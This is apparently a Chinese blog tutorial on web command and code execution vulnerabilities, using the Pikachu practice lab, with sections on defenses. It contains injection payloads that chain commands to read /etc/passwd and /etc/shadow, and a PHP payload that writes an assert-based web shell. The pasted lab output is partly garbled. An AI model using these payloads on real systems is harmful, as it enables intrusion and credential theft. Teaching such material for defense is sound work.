web命令及代码执行漏洞

漏洞产生条件
在web应用程序中有时候开发为了考虑灵活性,简洁性会在代码调用代码或者命令
执行函数去处理,比如当应用在调用一些能将字符串转化为代码的
函数时,没有考虑用户是否能控制字符串,将造成代码执行漏洞
同样调用系统命令处理会造成命令执行漏洞

漏洞危害
可以执行系统命令危害较大,反弹shell,system权限,进入内网
利用方式简单多以python脚本或者java脚本方式攻击
长发生在框架,中间件,cms,web容器,插件等地方

常见命令拼接符

|、||、&、&&的区别:
&:		无论左边是false还是true,右边都执行
&&:	具有短路效果,左边是false,右边不执行。
|:		无论左边是false还是true,右边都会执行
||:	具有短路效果,左边是true,右边不执行。

防御
命令执行的防御分为三个方面 参数 , 函数 和 权限

    对前端传递的参数进行转译
    减少或禁用执行命令的函数
    还有就是限制web中间件的权

pikachu靶场测试命令执行漏洞
127.0.0.1&&ipconfig 执行命令得到如下,执行了ping命令也执行了ipconfig
127.0.0.1|whoami 执行了whoami命令
114.114.114.114&&uname
114.114.114.114&&密码
114.114.114.114&&ls -l
114.114.114.114&&cat /etc/passwd   //查看用户
114.114.114.114&&cat /etc/shadow  //查看密码

    Ping 127.0.0.1      32  ֽڵ     :
       127.0.0.1  Ļظ :  ֽ =32 ʱ  <1ms TTL=128
       127.0.0.1  Ļظ :  ֽ =32 ʱ  <1ms TTL=128
       127.0.0.1  Ļظ :  ֽ =32 ʱ  <1ms TTL=128
       127.0.0.1  Ļظ :  ֽ =32 ʱ  <1ms TTL=128

 127.0.0.1    Ping ͳ    Ϣ:
             :  ѷ    = 4   ѽ    = 4    ʧ = 0 (0%   ʧ)   
       г̵Ĺ   ʱ  ( Ժ   Ϊ  λ):
          = 0ms    = 0ms  ƽ   = 0ms

 Windows IP      


    ̫                 :

          ض    DNS   ׺。  .  .  .  .  .  .  : 
              IPv6   ַ。  .  .  .  .  .  .  .  : fe80::81c5:a00:a0a5:fab3%11
    IPv4      .  .  .  .  .  .  .  .  .  .  .  .  : 192.168.11.12
              .  .  .  .  .  .  .  .  .  .  .  .  : 255.255.255.0
    嬷嬷。  .  .  .  .  .  .  .  .  .  .  .  .  : 192.168.11.2

             isatap。{29E03021-A240-4FCD-8A4C-86021DA19614}:

    🌹🌹🌹🌹🌹。  .  .  .  .  .  .  .  .  .  .  .  : 呸
          ض    DNS   ׺。  .  .  .  .  .  .  : 
 

触发点/检测

命令执行漏洞Web端不容易发现 , 大多通过代码审计 , 检查容易触发漏洞的 特殊函数 和 特殊符号

     exec();
    system();
    shell_exec();
    passthru();
    popen();
    proc_popen();
    反引号`    反引号包裹的代码会当做命令执行

代码执行漏洞
在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞
代码执行漏洞和命令一样是高危漏洞产生危害差不多

相关函数

eval()
assert()
preg_replace() + /e 模式
create_function()
array_map()
call_user_func()/call_user_func_array()
array_filter()
usort(),uasort()
file_put_contents()
fputs()
$_GET[‘a’]($_GET[‘b’]);//a=assert&b=phpinfo()

pikachu靶场测试代码执行漏洞
system(ipconfig); 会执行ipconfig命令
phpinfo(); 执行出PHP的版本
payload:fputs(fopen(‘shell.php’,‘w’),’<?php assert($_POST[cmd]);?>’) 上传木马

防御
对于eval( )函数一定要保证用户不能轻易接触eval的参数或者用正则严格判断输入的数据格式。
对于字符串一定要使用单引号包裹可控代码,并且 插入前进行addslashes().
对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹 。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值